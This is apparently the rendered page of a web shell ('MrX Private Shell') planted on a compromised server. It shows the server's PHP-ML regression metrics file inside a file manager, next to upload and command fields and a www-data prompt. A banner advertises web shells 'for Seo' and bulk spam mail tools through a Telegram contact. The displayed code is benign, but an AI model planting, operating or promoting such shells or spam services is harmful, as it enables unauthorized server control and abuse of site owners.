__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace Phpml\Metric;

use Phpml\Exception\InvalidArgumentException;
use Phpml\Math\Statistic\Correlation;
use Phpml\Math\Statistic\Mean;

final class Regression
{
    public static function meanSquaredError(array $targets, array $predictions): float
    {
        self::assertCountEquals($targets, $predictions);

        $errors = [];
        foreach ($targets as $index => $target) {
            $errors[] = (($target - $predictions[$index]) ** 2);
        }

        return Mean::arithmetic($errors);
    }

    public static function meanSquaredLogarithmicError(array $targets, array $predictions): float
    {
        self::assertCountEquals($targets, $predictions);

        $errors = [];
        foreach ($targets as $index => $target) {
            $errors[] = log((1 + $target) / (1 + $predictions[$index])) ** 2;
        }

        return Mean::arithmetic($errors);
    }

    public static function meanAbsoluteError(array $targets, array $predictions): float
    {
        self::assertCountEquals($targets, $predictions);

        $errors = [];
        foreach ($targets as $index => $target) {
            $errors[] = abs($target - $predictions[$index]);
        }

        return Mean::arithmetic($errors);
    }

    public static function medianAbsoluteError(array $targets, array $predictions): float
    {
        self::assertCountEquals($targets, $predictions);

        $errors = [];
        foreach ($targets as $index => $target) {
            $errors[] = abs($target - $predictions[$index]);
        }

        return (float) Mean::median($errors);
    }

    public static function r2Score(array $targets, array $predictions): float
    {
        self::assertCountEquals($targets, $predictions);

        return Correlation::pearson($targets, $predictions) ** 2;
    }

    public static function maxError(array $targets, array $predictions): float
    {
        self::assertCountEquals($targets, $predictions);

        $errors = [];
        foreach ($targets as $index => $target) {
            $errors[] = abs($target - $predictions[$index]);
        }

        return (float) max($errors);
    }

    private static function assertCountEquals(array &$targets, array &$predictions): void
    {
        if (count($targets) !== count($predictions)) {
            throw new InvalidArgumentException('Targets count must be equal with predictions count');
        }
    }
}

Filemanager

Name Type Size Permission Actions
Accuracy.php File 770 B 0777
ClassificationReport.php File 5.76 KB 0777
ConfusionMatrix.php File 1.3 KB 0777
Regression.php File 2.38 KB 0777
Filemanager